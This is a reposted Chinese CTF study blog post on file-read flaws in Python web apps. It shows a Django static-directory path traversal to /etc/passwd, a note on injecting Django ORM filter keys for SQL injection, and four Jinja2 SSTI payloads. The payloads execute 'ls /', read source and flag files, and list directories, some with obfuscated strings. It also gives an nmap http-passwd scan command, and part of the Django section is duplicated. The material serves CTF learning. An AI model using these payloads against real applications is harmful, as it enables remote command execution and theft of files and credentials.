CTFer成长之路-任意文件读取漏洞-文件读取漏洞常见读取路径(Python版)

admin 2022年7月13日23:39:29评论282 views字数 1523阅读5分4秒阅读模式

以django框架为例

第一步::构造/…/…/…/…/…/…/etc/passwd,访问到系统根目录

首先找到,static静态目录就可以穿越目录了

static/../../../../../../../../../etc/passwd

django框架:__pycache__目录下,其中pyc,pyc问源码缓存文件

第二步::ORM

首先找到,static静态目录就可以穿越目录了

static/../../../../../../../../../etc/passwd

django框架:__pycache__目录下,其中pyc,pyc问源码缓存文件

data = json.loads(request.body.decode())stu = models.Student.objects.filter(**data).first()

此时,用户即可控制filter的键名,在这种情况下,借助我们这次的漏洞即可完成SQL注入利用。

以flask框架为例

服务端模板注入攻击:SSTI
1.直接用OS模块执行系统命令查看根目录

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}

2.读app.py这个文件的源码

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read()}}{% endif %}{% endfor %}

3.os.listdir() 方法用于返回指定的文件夹包含的文件或文件夹的名字的列表

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}

4.读取flag文件

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt','r').read()}}{% endif %}{% endfor %}

补充知识:

nmap也可以扫描漏洞

nmap --script http-passwd --script-args http-passwd.root=/test/ IP地址


———————————————

转载于:

https://blog.csdn.net/aa2528877987/article/details/119387231


原文始发于微信公众号(网络安全学习爱好者):CTFer成长之路-任意文件读取漏洞-文件读取漏洞常见读取路径(Python版)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年7月13日23:39:29
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CTFer成长之路-任意文件读取漏洞-文件读取漏洞常见读取路径(Python版)http://cn-sec.com/archives/1173855.html

发表评论

匿名网友 填写信息